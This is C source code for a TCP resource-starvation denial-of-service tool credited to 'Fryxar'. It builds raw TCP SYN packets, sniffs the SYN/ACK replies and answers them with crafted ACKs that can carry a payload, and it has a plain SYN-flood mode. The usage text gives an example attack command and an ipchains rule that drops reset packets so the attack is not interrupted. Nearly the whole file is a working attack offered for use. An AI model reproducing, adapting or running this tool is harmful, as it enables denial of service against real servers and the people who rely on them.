/*
 * TCP resource starvation DOS
 * by: Fryxar
 */

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<errno.h>
#include<fcntl.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<sys/wait.h>
#include<sys/select.h>
#include<sys/time.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/ip.h>
#include<linux/if_ether.h>
#include<linux/if_packet.h>
#include<netinet/tcp.h>
#include<netdb.h>

#define ERROR(msg) { perror(msg); exit -1; }
#define VERSION "1"
#define BUFFER_LEN 65536
#define DEFAULT_LEN (sizeof(struct tcphdr)+sizeof(struct iphdr))

unsigned short cksum(unsigned short *, int);
void usage(char *);

int main(int argc, char *argv[]) {
struct sockaddr_in  daddr, saddr;
int                 dport, on, s, rs, pid, status, pause, attack, c, fin, i;
struct hostent      *hostentry;
struct servent      *serventry;
char                buffer[BUFFER_LEN], rbuffer[BUFFER_LEN], string[BUFFER_LEN], *p, *p1;
struct iphdr        *iphdr, *riphdr;
struct tcphdr       *tcphdr, *rtcphdr;
struct sockaddr     from;
int                 fromlen, length, ethlen, count, delay, verbose, iport;
FILE                *file;
struct pseudohdr {
        struct in_addr saddr;
        struct in_addr daddr;
        unsigned char zero;
        unsigned char protocol;
        unsigned short length;
} *pseudoheader;

    if(argc < 4) usage(argv[0]);

/* Defaults Defaults Defaults Defaults Defaults Defaults Defaults Defaults */
    pause =                      0;
    delay =                      0;
    attack =                     0;
    ethlen =                     sizeof(struct ethhdr);
    dport =                      80;
    length =                     0;
    verbose =                    0;
    on =                         1;
    count =                      1;
    iport =                      1024;

    while((c = getopt(argc, argv, "i:w:d:c:pm:fsv")) != -1) {
        switch(c) {

        case 'w':
            if(strlen(optarg) == 0) usage(argv[0]);
            pause =              atoi(optarg);
            break;

        case 'i':
            if(strlen(optarg) == 0) usage(argv[0]);
            iport =              atoi(optarg);
            break;

        case 'd':
            if(strlen(optarg) == 0) usage(argv[0]);
            delay =              atoi(optarg);
            break;

        case 'p':
            ethlen =             0;
            break;

        case 's':
            attack =             1;
            break;

        case 'f':
            fin =                1;
            break;

        case 'v':
            verbose =            1;
            break;

        case 'c':
            if(strlen(optarg) == 0) usage(argv[0]);
            count =              atoi(optarg);
            break;

        case 'm':
            if(strlen(optarg) > BUFFER_LEN) usage(argv[0]);
            for(p = optarg, p1 = string; *p != 0; p++, p1++) {
               if(*p == '\\' && *(p+1) == 'n') {*p1 = '\n'; p++;}
                  else *p1 = *p;
            }
            length = strlen(string);
            break;

        default:
            usage(argv[0]);
            break;
        }
   }
   if(iport < 1024 || iport+count > 65535) usage(argv[0]);

    srandom(times());

/* Source IP */
    if((hostentry = gethostbyname(argv[argc-3])) == NULL) ERROR("source gethostbyname");
    bzero(&saddr, sizeof(struct sockaddr));
    saddr.sin_family = AF_INET;
    saddr.sin_addr = *((struct in_addr *)hostentry->h_addr);

/* Destination IP */
    if((hostentry = gethostbyname(argv[argc-2])) == NULL) ERROR("destination gethostbyname");
    bzero(&daddr, sizeof(struct sockaddr));
    daddr.sin_family = AF_INET;
    daddr.sin_addr = *((struct in_addr *)hostentry->h_addr);

/* Destination TCP port */
    if((serventry = getservbyname(argv[argc-1], "tcp"))) 
       dport = serventry->s_port;
    else if(!(dport = htons(atoi(argv[argc-1]))))
       ERROR("destination getservbyname");

    setvbuf(stdout, NULL, _IONBF, 0);
    fflush(stdout);

/***********************************************************************************/
/* Fork */
/***********************************************************************************/
   if(attack == 1) pid = 1; 
   else if((pid=fork())<0)
                ERROR("fork");

  if(pid) {
/***********************************************************************************/
/* Send SYN packets*/
/***********************************************************************************/

/* Open socket */
    if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
                 ERROR("socket SYN");

    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL,(char *)&on, sizeof(on)) < 0)
                 ERROR("setsockopt SYN");

/* LOOP Sending*/
    while(count--) {

      usleep(pause);                  /* Pause */
      bzero(buffer, BUFFER_LEN);

/* Make TCP HDR */
      tcphdr =                       (struct tcphdr *)(buffer+sizeof(struct iphdr));
      tcphdr->source =               htons(iport+count);
      tcphdr->dest =                 dport;
      tcphdr->window =               htons(65535);
      tcphdr->seq =                  random();
      tcphdr->syn =                  1;
      tcphdr->doff =                 sizeof(struct tcphdr) / 4;

/* Make TCP PSEUDOHDR */
      pseudoheader =                 (struct pseudohdr *)((unsigned char *)tcphdr-sizeof(struct pseudohdr));
      pseudoheader->saddr =          saddr.sin_addr;
      pseudoheader->daddr =          daddr.sin_addr;
      pseudoheader->protocol =       IPPROTO_TCP;
      pseudoheader->length =         htons(sizeof(struct tcphdr));
      tcphdr->check =                cksum((unsigned short *)pseudoheader, sizeof(struct pseudohdr)+sizeof(struct tcphdr));
		
/* Make IP HDR */
      bzero(buffer, sizeof(struct iphdr));
      iphdr =                        (struct iphdr *)buffer; 
      iphdr->ihl =                   5;
      iphdr->version =               4;
      iphdr->tot_len =               htons(DEFAULT_LEN);
      iphdr->id =                    htons(random());
      iphdr->ttl =                   IPDEFTTL;
      iphdr->protocol =              IPPROTO_TCP;
      iphdr->daddr =                 daddr.sin_addr.s_addr;
      iphdr->saddr =                 saddr.sin_addr.s_addr;

/* Send TCP SYN packet */
      if(sendto(s, buffer, DEFAULT_LEN, 0x0, (struct sockaddr *)&daddr, sizeof(struct sockaddr) ) != DEFAULT_LEN)
                ERROR("sendto"); 
		if(verbose) printf("S");
     }
     wait(&status);
     close(s);
   } else {
/***********************************************************************************/
/* Wait for SYN/ACK and send ACK */
/***********************************************************************************/

      sleep(delay);                  /* Delay */

/* Open input socket */
     if((rs = socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP))) < 0)
                ERROR("socket input");

/* Open output socket */
    if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
                 ERROR("socket SYN/ACK");

    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&on,sizeof(on)) < 0)
                 ERROR("setsockopt SYN/ACK");

/* LOOP Receiving*/
     while(1) {
/* Receive TCP SYN/ACK packet */
        if(recvfrom(rs, rbuffer, BUFFER_LEN, 0x0, (struct sockaddr *)&from, &fromlen) <= 0)
                ERROR("recvfrom");

        riphdr = (struct iphdr *)(rbuffer+ethlen);

        if(riphdr->protocol == IPPROTO_TCP) {
           rtcphdr = (struct tcphdr *)(rbuffer+ethlen+sizeof(struct iphdr));
           if(rtcphdr->source == dport && rtcphdr->ack == 1 && rtcphdr->syn == 1) {

/* It's a valid TCP SYN/ACK, so send the ACK.. */

               bzero(buffer, BUFFER_LEN);

/* Make TCP HDR */
               tcphdr =                       (struct tcphdr *)(buffer+sizeof(struct iphdr));
               tcphdr->source =               rtcphdr->dest;
               tcphdr->dest =                 dport;
               tcphdr->window =               htons(512);
               tcphdr->seq =                  rtcphdr->ack_seq;
               tcphdr->ack =                  1;
               tcphdr->psh =                  1;
               tcphdr->doff =                 sizeof(struct tcphdr) / 4;
               tcphdr->ack_seq =              htonl(htonl(rtcphdr->seq)+1);
               tcphdr->fin =                  fin;

               strcpy((char *)(buffer+sizeof(struct iphdr)+sizeof(struct tcphdr)), string);

/* Make TCP PSEUDOHDR */
               pseudoheader = (struct pseudohdr *)((unsigned char *)tcphdr-sizeof(struct pseudohdr));
               pseudoheader->saddr =          saddr.sin_addr;
               pseudoheader->daddr =          daddr.sin_addr;
               pseudoheader->protocol =       IPPROTO_TCP;
               pseudoheader->length =         htons(sizeof(struct tcphdr)+length);

               tcphdr->check =                cksum((unsigned short *)pseudoheader, sizeof(struct pseudohdr)+sizeof(struct tcphdr)+length);


/* Make IP HDR */
               bzero(buffer, sizeof(struct iphdr));
               iphdr =                        (struct iphdr *)buffer; 
               iphdr->ihl =                   5;
               iphdr->version =               4;
               iphdr->tot_len =               htons(DEFAULT_LEN + length);
               iphdr->id =                    htons(random());
               iphdr->ttl =                   IPDEFTTL;
               iphdr->protocol =              IPPROTO_TCP;
               iphdr->daddr =                 daddr.sin_addr.s_addr;
               iphdr->saddr =                 saddr.sin_addr.s_addr;

/* Send TCP SYN packet */

		         if(verbose) printf("A");
               if(sendto(s, buffer, DEFAULT_LEN+length, 0x0, (struct sockaddr *)&daddr, sizeof(struct sockaddr) ) != DEFAULT_LEN+length)
                         ERROR("sendto"); 
           }
       }
   }
   close(rs);
   close(s);
 }

/* Close TCP SYN socket */

return(0);
}

unsigned short cksum(unsigned short *ptr,int nbytes)
{
 register long sum;
 unsigned short oddbyte;
 register unsigned short anwser;

 sum = 0;
 while(nbytes>1)
 {
  sum += *ptr++;
  nbytes -= 2;
 }
 if(nbytes==1)
 {
  oddbyte = 0;
  *((unsigned char *) & oddbyte) = *(unsigned char *)ptr;
  sum += oddbyte;
 }
 sum = (sum >> 16) + (sum & 0xffff);
 sum += (sum >> 16);
 anwser = ~sum;
 return(anwser);
}

void usage(char *program) {
    fprintf(stderr, "%s v"VERSION"\n"
    "usage: %s source_ip destination_ip destination_tcp_port\n\n"
    "options:\n"
    " -w <microseconds>               Elapsed time between SYN packets\n"
    " -c <count>                      Send <count> SYN packets\n"
    " -i <port>                       Initial source port\n"
    " -d <seconds>                    Delay in start to send ACK packets response\n"
    " -s                              Don't answer SYN/ACK packet (SYN flood)\n"
    " -m <string>                     String to add in ACK packets\n"
    " -f                              Set FIN bit in ACK packets\n"
    " -p                              PPP source interface\n"
    " -v                              Verbose\n"
    "\nExample:\n"
    "./tcpflood -i 3000 -m 'GET / HTTP/1.0\\n\\n\\n' -p -c 10 -v 1.1.1.1 2.2.2.2 80\n"
    "\nDon't forget to insert an ipchains rule to filter RESET packets (Ex. ipchains -I input -p tcp -s target_ip/32 -j DENY\n"
    , program, program);

    exit(-1);
}
